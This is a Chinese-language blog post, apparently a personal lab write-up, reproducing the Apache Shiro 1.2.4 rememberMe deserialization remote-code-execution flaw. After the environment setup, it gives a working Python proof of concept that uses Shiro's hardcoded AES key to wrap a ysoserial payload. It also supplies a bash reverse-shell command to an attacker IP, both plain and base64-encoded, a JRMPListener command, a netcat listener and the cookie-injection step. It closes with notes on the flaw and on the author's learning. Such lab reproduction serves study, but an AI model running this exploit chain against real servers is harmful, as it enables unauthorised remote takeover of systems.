这个漏洞属于java反序列化漏洞的一种,shiro是java的一个开发框架,能够快速的搭建好应用程序的环境。
Apache Shiro <= 1.2.4
首先,需要获取 Apache Shiro 存在漏洞的源代码,具体操作如下:
git clone https://github.com/apache/shiro.git
cd /shiro
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
之后的操作应该是添加存在漏洞的jar包了,使用到了maven这个工具(第一次用到,作用通过pom.xml去获取jar包),搭建过程也比较麻烦
maven环境搭建教程:
https://www.runoob.com/maven/maven-setup.html
搭建过程要注意JDK的版本,JAVA环境的配置搞得我头都大辽。。。
按照 https://blog.csdn.net/qq_27446553/article/details/54590691
上的教程,下一步是转换成eclipse项目,但是我的mvn一直显示编译失败,显示JDK版本的问题,之后卸载JDK,安装对应版本的JDK,还是不行,环境变量也都配置了。最后找到一篇文章http://www.db-sec.com/2019/06/apache-shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
,提供了已经压缩好的war包。
从官网下载tomcat-7.0-96版本(其他版本的也可以)的源码,然后把war包放入tomcat中的webapps中就可以自动解压,然后点击/bin目录下的startup.exe运行程序,在浏览器中访问http://localhost:8080/name
,就可以访问的到了。(前提是确保已经把JDK添加到环境变量里面)
详细的搭建过程
https://blog.csdn.net/qq_39019865/article/details/82897035
poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
其中的key是已知的,在shiro官网上有。
运行poc,产生rememberme cookie
root@kali:~/ysoserial/target# python poc.py 192.168.77.149:3888
rememberMe=smX9zgWATkm1+L0rm+pBNKJxkkiNUZ8SMPIeziULWe6t48LbBAJ7cCIreEB9JxhSVuCXAtjQLu9vjscQeU0d1HaYEkEN31yp1H7DWOwIdtk19u+m+oL8YRIPyecgDDQLhC9TLc8nDQStzvKzOSE+Vvf16hrIg0ri6gf46/lMsVy7WoEs05dEvZGj9q8lVls/Ov6bqs4P2jt67oR7fyinHrVLJiCBTllXzLHf/+TWUJT277n6v87kph4vqt2S/MvvKfXscO/kzGNUh1a1E+GDQosZ5XbvdMXrOLowA4JULK9DEY5yhR0r2XEEWejj8mQ6ZS1BdYSdZN3IajSACdeE0Xabg3T65IhvU+StFgj6cmYMaRmxJsgKffPc3e8VdMXrncBFBlfymug61PrIpW08PQ==
制作反弹shell
bash -i >& /dev/tcp/192.168.77.149/8888 0>&1
然后在http://www.jackson-t.ca/runtime-exec-payloads.html
上进行java反序列化绕过base64编码
ysoserial是一个java反序列化的工具,攻击机下载ysoserial,获取需要的jar文件
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
其中mvn需要自己安装
apt-get install maven
在这里用于监听一个端口并执行反弹shell的命令,在攻击机上执行以下命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc3LjE0OS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
值得注意的是,此处监听的端口和上面执行poc使用的是同一个端口
与此同时,要开启对8888端口的监听(因为上面的反弹shell是使用的8888端口)
nc -lvp 8888
使用httpie,注入cookie
root@kali:~/ysoserial/target# http 192.168.31.207:8080/shiro/login.jsp 'Cookie:...'
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值->Base64解码–>AES解密–>反序列化
。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
从环境搭建到漏洞复现
httpie的使用方法:https://keelii.com/2018/09/03/HTTPie/
maven的配置方法:https://www.runoob.com/maven/maven-setup.html
java环境的配置方法:https://www.cnblogs.com/cnwutianhao/p/5487758.html
漏洞复现:
http://www.secwk.com/2019/09/18/2818/
https://www.cnblogs.com/loong-hon/p/10619616.html
https://blog.knownsec.com/2016/08/apache-shiro-java/
这几天一直在琢磨着复现这个漏洞,从一开始的一窍不通(不论是环境还是漏洞本身),到现在的看的还算明白,其实花了很长的时间。漏洞复现过程,从下载shiro,下载tomcat,下载manve,下载eclise,再到他们的配置,真的是很耗费时间,因为每样东西都没有接触过,现在要自己搞一遍,要搜索很多的文章,有些东西是一遍就可以完成的,但还有些东西会出一连串的问题,比如我想搭建一个linux下的环境,先下载linux版本的tomcat,然后把shiro包放到合适的位置,然后对linux进行配置,配置完之后开启服务发现报错,Error: Could not create the Java Virtual Machine.Error: A fatal exception has occurred. Program will exit.
然后就去搜原因,发现是java版本的问题,因为linux默认安装的是openjdk,然而环境所需的是jdk,所以又去搜怎么卸载openjdk,然而网上的答案都大同小异,按部就班的操作一下发现并没有什么用,就走进了死胡同。
还有很多类似的花了时间但是没有什么有效收益的事情发生,大部分的情况下是因为陷在一个固定的思维里太久而绕不出来了,没有思考能不能转换一下思路,从其他的方向思考问题,还有就是不能太急着去动手,要多看看几篇相关文章,先形成自己的一个想法。
这次漏洞复现的过程其实收获还是很多的,虽然有的不值一提,但也是一种积累。